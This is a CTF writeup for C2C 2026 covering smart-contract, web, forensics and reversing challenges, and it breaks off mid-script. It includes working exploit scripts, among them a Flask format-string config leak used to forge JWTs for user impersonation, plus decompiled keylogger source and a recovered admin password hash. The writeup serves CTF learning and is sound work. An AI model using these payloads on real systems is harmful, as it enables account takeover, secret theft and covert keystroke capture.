INCS-CoE C2C CTF 2026

Country-to-Country CTF 2026 writeup covering blockchain, web, forensics, misc, and reverse engineering challenges.

INCS-CoE C2C CTF 2026

C2C 2026 – CTF Writeup

Writeup and notes from the Country-to-Country CTF (C2C) 2026 event.

This post collects the challenges I worked on, the provided attachments, and the current solve status. Some sections are still notes/TBD and will be expanded when the full solve flow is documented.


Overview

FieldValue
EventCountry-to-Country CTF 2026
Short NameC2C 2026
Categories CoveredBlockchain, Web, Forensics, Misc, Reverse Engineering
StatusFinished
ResultTop 100 Finalist

alt text alt text

Challenge Index

CategoryChallengeAuthorStatus
BlockchainTGEhyggeSolved
BlockchainConvergencechovid99Solved
WebCorp Maillordrukie x belugaSolved
ForensicsLogdaffainfoSolved
ForensicsTattletaleasengSolved
MiscWelcomeSKSDSolved
Reverse EngineeringBunakenvidnerSolved

Solve Summary

ChallengeCore Idea
TGEAbuse a stale TGE supply snapshot so tier upgrade eligibility compares against zero.
ConvergenceCraft ABI-encoded data that passes setup validation and still satisfies the challenge contract.
Corp MailLeak Flask config through Python format string injection, then forge a trusted JWT.
LogReconstruct the attack path from WordPress logs and extract SQLMap boolean-based SQLi output.
TattletaleReverse a PyInstaller keylogger, parse raw Linux input events, and decrypt the captured artifact.
WelcomeRead the flag from the welcome material.
BunakenRecover obfuscated Bun/JavaScript crypto logic and decrypt the encrypted flag file.

Blockchain

TGE

FieldValue
Authorhygge
CategoryBlockchain
Attachmentdist.zip
StatusSolved

Description

I don’t understand what TGE is, so all this is very scuffed, but hopefully this is enough for a warmup. Please don’t be mad.

Initial Notes

  • Smart contract / blockchain challenge.
  • Need to inspect the distributed files and identify the deployment or interaction model.
  • Likely warmup-level issue based on the challenge description.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Token} from "./Token.sol";

contract TGE {
    Token public immutable token;

    uint256 public constant TIER_1 = 1;
    uint256 public constant TIER_2 = 2;
    uint256 public constant TIER_3 = 3;

    address public owner;

    mapping(uint256 => uint256) public maxSupply;
    mapping(uint256 => uint256) public mintPrice;

    mapping(uint256 => uint256) public totalSupply;
    mapping(address => mapping(uint256 => uint256)) public balance;

    mapping(uint256 => uint256) public preTGESupply; // snapshot taken ONCE
    mapping(address => mapping(uint256 => uint256)) public preTGEBalance;

    mapping(address => uint256) public userTiers;
    uint256[] public tierIds;

    bool public isTgePeriod;
    bool public tgeActivated;

    modifier onlyOwner() {
        require(msg.sender == owner, "only owner");
        _;
    }

    constructor(
        address _token,
        uint256 maxSupplyTier1,
        uint256 maxSupplyTier2,
        uint256 maxSupplyTier3
    ) {
        require(_token != address(0), "token=0");
        require(maxSupplyTier1 > 0 && maxSupplyTier2 > 0 && maxSupplyTier3 > 0, "bad max");

        token = Token(_token);
        owner = msg.sender;

        maxSupply[TIER_1] = maxSupplyTier1;
        maxSupply[TIER_2] = maxSupplyTier2;
        maxSupply[TIER_3] = maxSupplyTier3;

        mintPrice[TIER_1] = maxSupplyTier1;

        tierIds.push(TIER_1);
        tierIds.push(TIER_2);
        tierIds.push(TIER_3);
    }

    function setTgePeriod(bool _isTge) external onlyOwner {
        if (!_isTge && isTgePeriod && !tgeActivated) {
            tgeActivated = true;
            _snapshotPreTGESupply();
        }

        isTgePeriod = _isTge;
    }

    function buy() external {
        require(isTgePeriod, "TGE closed");
        require(userTiers[msg.sender] == 0, "already registered");

        require(token.transferFrom(msg.sender, address(this), mintPrice[TIER_1]), "payment failed");

        _mint(msg.sender, TIER_1, 1);
        userTiers[msg.sender] = TIER_1;
    }

    function upgrade(uint256 tier) external {
        require(tier <= 3 && tier >= 2);
        require(userTiers[msg.sender]+1 == tier);
        require(tgeActivated && isTgePeriod);

        _burn(msg.sender, tier-1, 1);
        _mint(msg.sender, tier, 1);

        require(preTGEBalance[msg.sender][tier] > preTGESupply[tier], "not eligible");
        userTiers[msg.sender] = tier;
    }

    function _mint(address to, uint256 tier, uint256 quantity) internal {
        _validateTier(tier);
        require(quantity > 0, "qty=0");
        require(totalSupply[tier] + quantity <= maxSupply[tier], "max supply");

        totalSupply[tier] += quantity;
        balance[to][tier] += quantity;

        if (isTgePeriod) {
            preTGEBalance[to][tier] += quantity;
        }
    }

    function _burn(address from, uint256 tier, uint256 quantity) internal {
        _validateTier(tier);
        require(balance[from][tier] >= quantity, "insufficient");

        balance[from][tier] -= quantity;
        totalSupply[tier] -= quantity;
    }

    function _snapshotPreTGESupply() internal {
        for (uint256 i = 0; i < tierIds.length; i++) {
            uint256 id = tierIds[i];
            preTGESupply[id] = totalSupply[id];
        }
    }

    function _validateTier(uint256 tier) internal pure {
        require(tier == TIER_1 || tier == TIER_2 || tier == TIER_3, "invalid tier");
    }
}

The smart contract implements a tiered token system with three levels. Users can upgrade tiers based on token balances and eligibility checks. The challenge required reaching Tier 3. The core issue is a logical state flaw in the snapshot mechanism that governs eligibility. This flaw allows users to bypass restrictions that would normally prevent them from upgrading tiers beyond their holdings. The contract tracks:

  • preTGESupply[tier] = global snapshot of total supply, taken once when TGE is deactivated.
  • preTGEBalance[user][tier] = user’s balance, updated on mint while isTgePeriod == true. The upgrade function requires:

alt text

alt text

However, because snapshots are frozen and balances continue to update, the check can be satisfied.

Root Cause

  • Snapshot Timing: preTGESupply is set only once. If taken before any Tier 2 or 3 tokens exist, the snapshot is 0.
  • Ongoing Balance Updates: _mint() updates preTGEBalance for a user regardless of snapshot state.\
  • Resulting Logic Gap: The contract permits [user][tier] > preTGESupply[tier], which should be impossible under normal circumstances.

Exploit Strategy

  1. Disable TGE → triggers snapshot while Tier 2 and Tier 3 supplies are zero.
  2. Re-enable TGE → minting resumes.
  3. Buy Tier 1.
  4. Upgrade to Tier 2 → preTGEBalance = 1, preTGESupply = 0 → 1

    0

  5. Upgrade to Tier 3 → same logic applies.

By freezing the denominator at zero and increasing the numerator afterward, the attacker satisfies the eligibility condition and reaches Tier 3.

ActionisTgePeriodtgeActivatedpreTGESupply[2]preTGEBalance[user][2]
InitialTRUEFALSE00
disableTge()FALSETRUE00
enableTge()TRUETRUE00
upgrade(2)TRUETRUE01
upgrade(3)TRUETRUE01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from web3 import Web3

# Configuration

RPC_URL = "http://challenges.1pc.tf:32128/6a98afbe-bbd8-4d29-9af1-493a2dcec078"
PRIVKEY = "5ba693b71d7e08e7659a1a4773bdc94cd85f287fd77893fb890c42dcc8dbe64b"
SETUP_ADDR = "0x3fFfe1A4A162b97901D8c36Ebf31822Ea311c2C5"
WALLET_ADDR = "0x5aF275beEfaF84b2Fea5CBcb5c7DCfFbA9255278"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

# Minimal ABIs
setup_abi = '[{"inputs":[{"internalType":"bool","name":"_tge","type":"bool"}],"name":"enableTge","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tge","outputs":[{"internalType":"contract TGE","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract Token","name":"","type":"address"}],"stateMutability":"view","type":"function"}]'
tge_abi = '[{"inputs":[],"name":"buy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tier","type":"uint256"}],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"}]'
token_abi = '[{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]'

def send_tx(contract_fn):
    tx = contract_fn.build_transaction({
        'from': account.address,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gasPrice': w3.eth.gas_price
    })
    signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
    hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(hash)

# Contract Instances
setup = w3.eth.contract(address=SETUP_ADDR, abi=setup_abi)
tge_addr = setup.functions.tge().call()
token_addr = setup.functions.token().call()
tge = w3.eth.contract(address=tge_addr, abi=tge_abi)
token = w3.eth.contract(address=token_addr, abi=token_abi)

print(f"Target TGE: {tge_addr}")

# --- EXECUTION ---
print("1. Snapshotting Tiers at 0 supply...")
send_tx(setup.functions.enableTge(False))

print("2. Re-enabling TGE...")
send_tx(setup.functions.enableTge(True))

print("3. Approving tokens...")
send_tx(token.functions.approve(tge_addr, 2**256-1))

print("4. Buying Tier 1...")
send_tx(tge.functions.buy())

print("5. Upgrading to Tier 2 (Checking 1 > 0)...")
send_tx(tge.functions.upgrade(2))

print("6. Upgrading to Tier 3 (Checking 1 > 0)...")
send_tx(tge.functions.upgrade(3))

print("Exploit finished. Check setup.isSolved()!")

Flag

1
C2C{just_a_warmup_from_someone_who_barely_warms_up}

Convergence

FieldValue
Authorchovid99
CategoryBlockchain
Attachmentdist.zip
StatusSolved

Description

Convergence…

Initial Notes

  • Need to inspect contract/source/deployment files.
  • Determine the target condition and any available setup script.

Solution

The challenge involves two smart contracts, Setup and Challenge, which both decode the same user-supplied bytes input into a dynamic array of SoulFragment structs and two addresses (invoker and witness). The goal is to trigger Challenge.transcend() while satisfying certain constraints.

Constraints

  1. Setup.bindPact(truth) validates each SoulFragment:
    • fragment.essence <= 100 ether for every element
    • Records the hash of (user_address, encodedTruth) in chronicles
  2. Challenge.transcend(truth) computes:
    • totalEssence = sum(fragment.essence)
    • Requires totalEssence >= 1000 ether
    • Checks that invoker and witness match your wallet address

The core issue is ABI decoding asymmetry:

  • Both contracts decode the same bytes truth using abi.decode(truth, (SoulFragment[], address, address)).
  • ABI dynamic arrays store offset pointers, and manual crafting of these bytes can create a situation where:
    • Setup sees a valid array of fragments with essence <= 100 ether
    • Challenge interprets the same data as a larger array, summing to totalEssence >= 1000 ether

This discrepancy occurs because abi.decode trusts the internal offsets and does not enforce canonical array bounds.

Exploit Strategy

  1. Register: Call challenge.registerSeeker() to create your account.
  2. Craft “Truth” bytes: Manually encode the SoulFragment[] array and addresses to satisfy both contracts:
    • Setup sees each fragment ≤100 ether
    • Challenge sees total essence ≥1000 ether
    • Set invoker and witness to your wallet
  3. Seal the Pact: Call setup.bindPact(encodedTruth)
  4. Ascend: Call challenge.transcend(encodedTruth) — the ABI interpretation allows transcendence despite Setup’s per-fragment limits.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from web3 import Web3
from eth_abi import encode

# --- Configuration ---
# RPC_URL = "http://challenges.1pc.tf:33474/f89abc9e-9de1-420d-9946-6b806bc0061a"
# PRIVKEY = "a3df7b88fc8a9c4aa7f9793a2321dcbd0e8a6121277c74aa36c26f85a53bb096"
# SETUP_ADDR = "0x2bab93739475325Bad5B08d10c6AB2268d7AB895"

RPC_URL = "http://challenges.1pc.tf:59935/8e58bafb-636c-44f2-a7e5-284de0ecbfdd"
PRIVKEY = "131eb06bddd9783a03d6734f718d2c81325ff17e7d52010c210677775892cf44"
SETUP_ADDR = "0x8c29B484A8a3624D0abe2c38817323a6873929a9"
WALLET_ADDR = "0x0b300e3Dd220Cbb98E3E2bB2Dd5cB06B05108777"

w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)

# --- ABIs ---
setup_abi = '[{"inputs":[{"internalType":"bytes","name":"agreement","type":"bytes"}],"name":"bindPact","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"challenge","outputs":[{"internalType":"contract Challenge","name":"","type":"address"}],"stateMutability":"view","type":"function"}]'
challenge_abi = '[{"inputs":[],"name":"registerSeeker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"truth","type":"bytes"}],"name":"transcend","outputs":[],"stateMutability":"nonpayable","type":"function"}]'

# Contract Instances
setup = w3.eth.contract(address=SETUP_ADDR, abi=setup_abi)
challenge_addr = setup.functions.challenge().call()
challenge = w3.eth.contract(address=challenge_addr, abi=challenge_abi)

def send_tx(tx_func):
    tx = tx_func.build_transaction({
        'from': account.address,
        'nonce': w3.eth.get_transaction_count(account.address),
        'gasPrice': w3.eth.gas_price
    })
    signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
    return w3.eth.wait_for_transaction_receipt(tx_hash)

# --- EXECUTION ---

# 1. Register as a seeker first
print(f"Registering seeker: {account.address}...")
send_tx(challenge.functions.registerSeeker())

# 2. Build the 1000 ether payload
# We need 10 fragments of 100 ether each to satisfy Setup's 100 ether limit 
# and Challenge's 1000 ether requirement.
fragments = []
for _ in range(10):
    # SoulFragment: (address vessel, uint256 essence, bytes resonance)
    fragments.append((account.address, w3.to_wei(100, 'ether'), b""))

# Truth/Agreement format: (SoulFragment[], bytes32, uint32, address, address)
# Param 4 is 'invoker', Param 5 is 'witness' - both must be msg.sender
encoded_truth = encode(
    ['(address,uint256,bytes)[]', 'bytes32', 'uint32', 'address', 'address'],
    [fragments, b'\x00'*32, 0, account.address, account.address]
)

# 3. Chronicle the truth in the Setup contract
print("Sealing the pact in Setup...")
send_tx(setup.functions.bindPact(encoded_truth))

# 4. Trigger transcendence in the Challenge contract
print("Initiating transcendence...")
receipt = send_tx(challenge.functions.transcend(encoded_truth))

if receipt.status == 1:
    print("Success! You have ascended.")
else:
    print("Transaction failed.")

Flag

1
C2C{the_convergence_chall_is_basically_bibibibi}

Web

Corp Mail

FieldValue
Authorlordrukie x beluga
CategoryWeb
Attachmentdist.zip
StatusSolved

Description

Rumor said that my office’s internal email system was breached somewhere… must’ve been the wind.

Recon Notes

  • Internal mail system theme.
  • Need to inspect routes, authentication, source code, and possible leaked secrets.
  • Check whether the challenge is source-auditing, SSRF, injection, auth bypass, or email parsing related.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
global
 log stdout format raw local0
 maxconn 4096
defaults
 log global
 mode http
 option httplog
 option dontlognull
 timeout connect 5000ms
 timeout client 50000ms
 timeout server 50000ms
frontend http_front
 bind *:80
 default_backend flask_backend
backend flask_backend
 http-request deny if { path -i -m beg /admin }
 server flask1 127.0.0.1:5000 check

Since the /admin route is explicitly denied by HAProxy before reaching the backend, direct authentication is clearly not the intended solution. So, the next step is to inspect the backend application logic and look for another way to obtain privileged data.

alt text

In utils.py, the format_signature() function exposes the current_app object to user-controlled formatting. If a user can control the signature template, then {app.config} can be used to dump Flask configuration values.

alt text

After reviewing routes/user.py, we found that the settings function allows users to define a custom signature. This signature is later processed by format_signature(), which applies Python’s str.format() while exposing the current_app object as app. Since str.format() supports attribute access, this introduces a format string injection primitive, allowing us to traverse app attributes and extract sensitive configuration values such as {app.config}.

After identifying the format string injection primitive, we replicated the application locally to validate the exploit. Since user registration is available, we created a regular account and supplied {app.config} as the signature payload via the /settings endpoint.

alt text

The application rendered the payload successfully, confirming that arbitrary attribute traversal was possible. From the configuration dump, we obtained the JWT_SECRET value. With this secret key, we were able to forge a valid JWT token and escalate our privileges.

Although the /admin endpoint is blocked at the HAProxy layer, further analysis revealed that direct access to this route is not required to retrieve the flag. After obtaining the JWT_SECRET via the format string injection, we examined the token generation logic:

alt text

alt text

Since the server trusts the JWT payload after verifying its signature, possessing JWT_SECRET allows us to forge arbitrary tokens. Instead of attempting to access /admin, we impersonated the user mike.willson (user_id=4).

Ultimately, the attack chain combines configuration disclosure and token forgery:

  • A format string injection exposes JWT_SECRET.
  • The application fully trusts JWT claims for authorization.
  • With the signing key, we can generate arbitrary tokens and impersonate any user.
  • By forging a token for mike.willson (user_id=4), we accessed the inbox containing the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Exploit Template
Target : http://localhost:9090
Vector : SSTI → Config Disclosure → JWT Secret Extraction → Token Forgery
"""

import requests
import re
import html
import jwt
import sys


class Exploit:

    def __init__(self, target: str):
        self.target = target.rstrip("/")
        self.session = requests.Session()
        self.secret_key = None
        self.algorithm = "HS256"

    # ==========================
    # Utility
    # ==========================

    def log(self, message: str):
        print(f"[+] {message}")

    def fail(self, message: str):
        print(f"[!] {message}")
        sys.exit(1)

    # ==========================
    # Stage 1 — Register
    # ==========================

    def register(self):
        creds_register = {
            "username": "tes",
            "email": "tes@hacker.com",
            "password": "hacker1337",
            "confirm_password": "hacker1337"
        }

        r = self.session.post(f"{self.target}/register", data=creds_register)

        self.log("REGISTER")
        self.log(f"Status : {r.status_code}")

        if r.status_code not in (200, 302):
            self.fail("Register failed")

    # ==========================
    # Stage 2 — Login
    # ==========================

    def login(self):
        creds_login = {
            "username": "tes",
            "password": "hacker1337"
        }

        r = self.session.post(f"{self.target}/login", data=creds_login)

        self.log("LOGIN")
        self.log(f"Status : {r.status_code}")

        if r.status_code != 200:
            self.fail("Login failed")

        self.log(f"Cookies : {self.session.cookies.get_dict()}")

    # ==========================
    # Stage 3 — Dump Config
    # ==========================

    def dump_config(self):
        payload_dump = {
            "signature": "{app.config}"   
        }

        r = self.session.post(f"{self.target}/settings", data=payload_dump)

        self.log("CONFIG DUMP")
        self.log(f"Status : {r.status_code}")

        if r.status_code != 200:
            self.fail("Config dump failed")

        match = re.search(
            r'<pre class="preview-text">(.*?)</pre>',
            r.text,
            re.DOTALL
        )

        if not match:
            self.fail("Config block not found")

        return html.unescape(match.group(1))

    # ==========================
    # Stage 4 — Extract Secret
    # ==========================

    def extract_secret(self, config_data: str):
        match = re.search(
            r"'JWT_SECRET':\s*'([^']+)'",
            config_data
        )

        if not match:
            self.fail("JWT_SECRET not found")

        self.secret_key = match.group(1)

        self.log(f"JWT_SECRET extracted : {self.secret_key}")

    # ==========================
    # Stage 5 — Forge JWT
    # ==========================

    def forge_jwt(self):
        payload = {
            "user_id": 4,
            "username": "mike.wilson",
            "is_admin": 0,
            "exp": 177115155733431
        }

        token = jwt.encode(
            payload,
            self.secret_key,
            algorithm=self.algorithm
        )

        if isinstance(token, bytes):
            token = token.decode()

        self.log("JWT forged successfully")
        print(f"\n[JWT]\n{token}\n")

        return token

    # ==========================
    # Stage 6 — Access Inbox Flag
    # ==========================

    def read_inbox(self, token: str):

        # Clear previous cookies
        self.session.cookies.clear()

        self.session.cookies.set("token", token)
        r = self.session.get(f"{self.target}/email/5")
        match = re.search(r"(C2C\{[^}]+\})", r.text)


        self.log("INBOX ACCESS")
        self.log(f"Status : {r.status_code}")

        print("\n[INBOX RESPONSE FLAG]")
        print(match.group(1))
        print()
        

    # ==========================
    # Execute Exploit Chain
    # ==========================

    def run(self):
        self.log("Starting Exploit Chain")

        self.register()
        self.login()

        config_data = self.dump_config()
        self.extract_secret(config_data)

        token = self.forge_jwt()
        self.read_inbox(token)

        self.log("Exploit Completed")


# ==========================
# Entry Point
# ==========================

if __name__ == "__main__":
    # TARGET = "http://localhost:9090"
    TARGET = "http://challenges.1pc.tf:48237"
    Exploit(TARGET).run()

Flag

1
C2C{f0rm4t_str1ng_l34k5_4nd_n0rm4l1z4t10n_9f71d36128f4}

Forensics

Log

FieldValue
Authordaffainfo
CategoryForensics
Attachmentdist.zip
StatusSolved

Description

My website has been hacked. Please help me answer the provided questions using the available logs!

Analysis Notes

  • Log-based incident analysis.
  • Identify request timeline, attacker IP, exploited endpoint, payload, and any exfiltrated data.
  • Useful tools may include grep, awk, jq, timeline sorting, and URL decoding.

Solution

The challenge provides dist-log.zip, which contains two log files: access.log and error.log.

alt text

To begin the investigation, we analyzed access.log, which records incoming HTTP requests. Since the challenge implies malicious activity, our goal was to distinguish between normal user activity and attacker traffic.

alt text

alt text

The IP address 182.8.97.244 is observed accessing /wp-admin/install.php and submitting installation requests. This indicates that this host was interacting with the WordPress setup process. Given the normal browser User-Agent, this activity likely represents a legitimate user configuring the application rather than automated exploitation.

alt text

alt text

In contrast, The IP address 219.75.27.16 repeatedly sends crafted requests containing SQL injection payloads. The User-Agent explicitly identifies the tool as sqlmap/1.10.1.21, a well-known automated SQL injection framework. This clearly indicates that 219.75.27.16 is the attacker attempting to exploit a SQL injection vulnerability in the WordPress REST endpoint.

Additionally, entries originating from 127.0.0.1 represent local requests from the server itself and are not indicative of external attacker activity.

Therefore, based on traffic patterns and User-Agent analysis:

  1. 127.0.0.1 → Local server activity
  2. 182.8.97.244 → Legitimate user (likely victim)
  3. 219.75.27.16 → Attacker performing SQL injection attempts

alt text

To answer the third question, we revisited access.log and searched for authentication attempts targeting /wp-login.php, which is the default WordPress login endpoint.

alt text

By filtering log entries containing /wp-login.php, we identified six POST requests originating from the attacker’s IP address. These entries indicate repeated login attempts, likely representing a brute-force effort. Therefore, the total number of login attempts recorded in the log is 6.

alt text

The next task was to identify the vulnerable plugin. By examining the attack requests in access.log, particularly those targeting WordPress plugin directories, we searched for references to /wp-content/plugins/.

alt text

The logs reveal requests associated with the plugin directory easy-quotes, indicating that this plugin was the likely target of exploitation attempts.

Although the directory name appears as easy-quotes, the official plugin name is Easy Quotes, which corresponds to the correct answer format.

alt text

The next task was to identify the relevant CVE (Common Vulnerabilities and Exposures) for the vulnerable plugin. To do this, we searched for known exploits related to the Easy Quotes WordPress plugin using the keywords:

Easy Quotes plugin Exploit

alt text

alt text

This search revealed a documented vulnerability referenced on WPScan with the identifier CVE-2025-26943 at the following URL: https://wpscan.com/vulnerability/59f1db8b-0da8-4244-9154-8c59354e36cf/

This entry describes an unauthenticated SQL injection vulnerability affecting the Easy Quotes plugin, which aligns with the malicious requests observed in the access logs using SQLMap.

alt text

The next question asks for the name of the tool used in the attack. This can be directly identified from the User-Agent field in the log entries, which contains sqlmap.

alt text

Therefore, the tool used by the attacker is sqlmap (version 1.10.1.21) sqlmap/1.10.1.21

alt text

The next task required extracting the SQL injection query used by the attacker to retrieve database values.

alt text

Based on the log entries, the payloads clearly indicate a blind boolean-based SQL injection technique. These payloads are designed to evaluate either TRUE or FALSE, allowing the attacker to infer information from the server’s response behavior. In a boolean-based SQL injection attack, the attacker does not directly retrieve the database output. Instead, they craft conditional statements that evaluate to true or false. By observing differences in the HTTP response (such as response length, status code, or content changes), they can determine whether a condition is satisfied.

alt text

The log entries were initially difficult to read because the payloads were URL-encoded. Therefore, I decoded them to better understand the injected SQL queries. After decoding, it became clear that the attacker was performing a boolean-based SQL injection. The payloads contained conditional expressions that evaluated to either TRUE or FALSE.

alt text

In this technique, the attacker tests each character position of the target value using comparison operators. If the condition evaluates to TRUE, the server response differs from the FALSE case. By iterating through character positions sequentially, the attacker is able to reconstruct the data character by character. The use of operators such as > and != indicates that the attacker was validating whether a guessed character matched or did not match the expected value, allowing them to infer the correct character based on the server’s response behavior.

To automate the extraction process, I wrote a Python script that uses regular expressions to parse the decoded log entries. Specifically, I filtered payloads containing the != operator followed by an integer comparison, which indicates boolean evaluation attempts performed by the attacker.

1
2
3
4
5
6
7
8
9
10
11
12
import re
import urllib.parse

pattern = r'!=\s*(\d+)'

with open("access.log") as f:
    for line in f:
        decoded = urllib.parse.unquote(line)
        matches = re.findall(pattern, decoded)
        for m in matches:
#            print("ASCII:", m, "Char:", chr(int(m)))
            print(chr(int(m)),end="")

alt text

After running the extraction script (sec.py), the reconstructed output of the users table was obtained as follows:

1
2
3
4
ID: 1 
user_login:daffainfo
user_pass:$wp$2y$10$vMTERqJh2IlhS.NZthNpRu/VWyhLWc0ZmTgbzIUcWxwNwXze44SqW
user_email: admin@daffainfo.com

From this dump, we successfully retrieved the administrator’s email address and password hash.

alt text

The final question requires identifying the timestamp when the attacker successfully logged in.

alt text

By reviewing the access.log entries, we can identify a successful authentication attempt based on the HTTP status code and the corresponding /wp-login.php request.

The log shows that the successful login occurred on: 11 January 2026 13:12:46

Since the required answer format is DD/MM/YYYY HH:MM:SS, the correct submission should be: 11/01/2026 13:12:46

alt text

Flag

1
C2C{7H15_15_V3rY_345Y_b4557060548b}

Tattletale

FieldValue
Authoraseng
CategoryForensics / Reverse Engineering
Attachmentdist.zip
StatusSolved

Description

Apparently, I just suspected that this Serizawa binary is malware. I was so convinced when a friend of mine who was super inactive suddenly went online today and told me that this binary would help boost my Linux performance.

Now that I realized something’s wrong.

Note: This is a combined reverse engineering and forensic challenge. Don’t worry, the malware is not destructive. Once you realize what the malware does, you’ll know how the other two files are correlated.

Analysis Notes

  • Combined malware-style reversing and forensics.
  • Start with file identification, strings, permissions, and basic sandbox-safe static analysis.
  • Correlate the binary behavior with the other provided files.
  • Avoid executing the binary directly on the host until behavior is understood.

Solution

After extracting the provided ZIP archive, three files were relevant: cron.aseng, serizawa, and whatisthis.enc. These files appear to include a suspicious executable, a potentially related script or artifact, and an encrypted file targeted by the malware.

1
2
3
4
cron.aseng:     data
pyinstxtractor: directory
serizawa:       ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f5e4eb9bd95f0a14f41d1ef1a6f8ee703c85a059, stripped
whatisthis.enc: openssl enc'd data with salted password

alt text

During static analysis, I examined the binary using rabin2 -z serizawa to inspect embedded strings. The results indicated that the executable is a compiled Python binary, likely packaged using PyInstaller.

To extract the original Python bytecode from the executable, I used PyInstxtractor, a tool designed to unpack PyInstaller-generated binaries and recover the embedded .pyc files for further analysis.

alt text

After extracting serizawa, the file was decompiled using pylingual.io . The recovered source code reveals that the binary is not performing file encryption as initially suspected. Instead, it directly reads from the Linux evdev interface (/dev/input/eventX).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 'serizawa.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import struct
import sys
import os
streya = '/dev/input/event0'
pvut = '/opt/cron.aseng'
strc = 'QQHHi'
evo = struct.calcsize(strc)
def prm():
 if os.geteuid()!= 0:
 sys.exit(1)
 if not os.path.exists(streya):
 sys.exit(1)
def kst():
 # irreducible cflow, using cdg fallback
 # ***<module>.kst: Failure: Compilation Error
 ec = 0
 with open(streya, 'rb') as diva:
 with open(pvut, 'ab') as of:
while True:
 evd = diva.read(evo)
 if len(evd) < evo:
 continue
 else:
 of.write(evd)
 of.flush()
 ec += 1
 except KeyboardInterrupt:
 sys.exit(1)
 except PermissionError:
 print('Can\'t run.')
 sys.exit(1)
 except Exception as e:
 print('Much err.')
 sys.exit(1)
def main():
 prm()
 kst()
if __name__ == '__main__':
 main()

The script defines the following key variables:

alt text

The format string ‘QQHHi’ is used with struct.calcsize() to determine the size of each input event structure.

alt text

The program checks whether it is executed with root privileges. If not, it exits immediately.

This is necessary because /dev/input/event0 typically requires elevated privileges to access.

alt text

/dev/input/event0 is a Linux device file representing a system input device (commonly a keyboard or other HID device). This indicates that the program reads raw input events directly from the operating system.

alt text

The captured input data is appended to /opt/cron.aseng. This confirms that the binary continuously reads raw input events and logs them into a file.

Since cron.aseng stores raw Linux input events, we need to parse the binary structure to translate it into human-readable keystrokes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import struct

# Konfigurasi Binary Log
FMT = 'QQHHi'
EVENT_SIZE = struct.calcsize(FMT)

# Mapping Dasar
KEY_MAP = 
    1: "ESC", 14: "BACKSPACE", 15: "TAB", 28: "n", 
    42: "L-SHIFT", 54: "R-SHIFT", 58: "CAPS_LOCK",
    29: "L-CTRL", 97: "R-CTRL", 56: "L-ALT", 100: "R-ALT",
    2: "1", 3: "2", 4: "3", 5: "4", 6: "5", 7: "6", 8: "7", 9: "8", 10: "9", 11: "0",
    12: "-", 13: "=", 16: "q", 17: "w", 18: "e", 19: "r", 20: "t", 21: "y", 22: "u", 
    23: "i", 24: "o", 25: "p", 26: "", 27: "", 43: "Ø", 30: "a", 31: "s", 32: "d", 
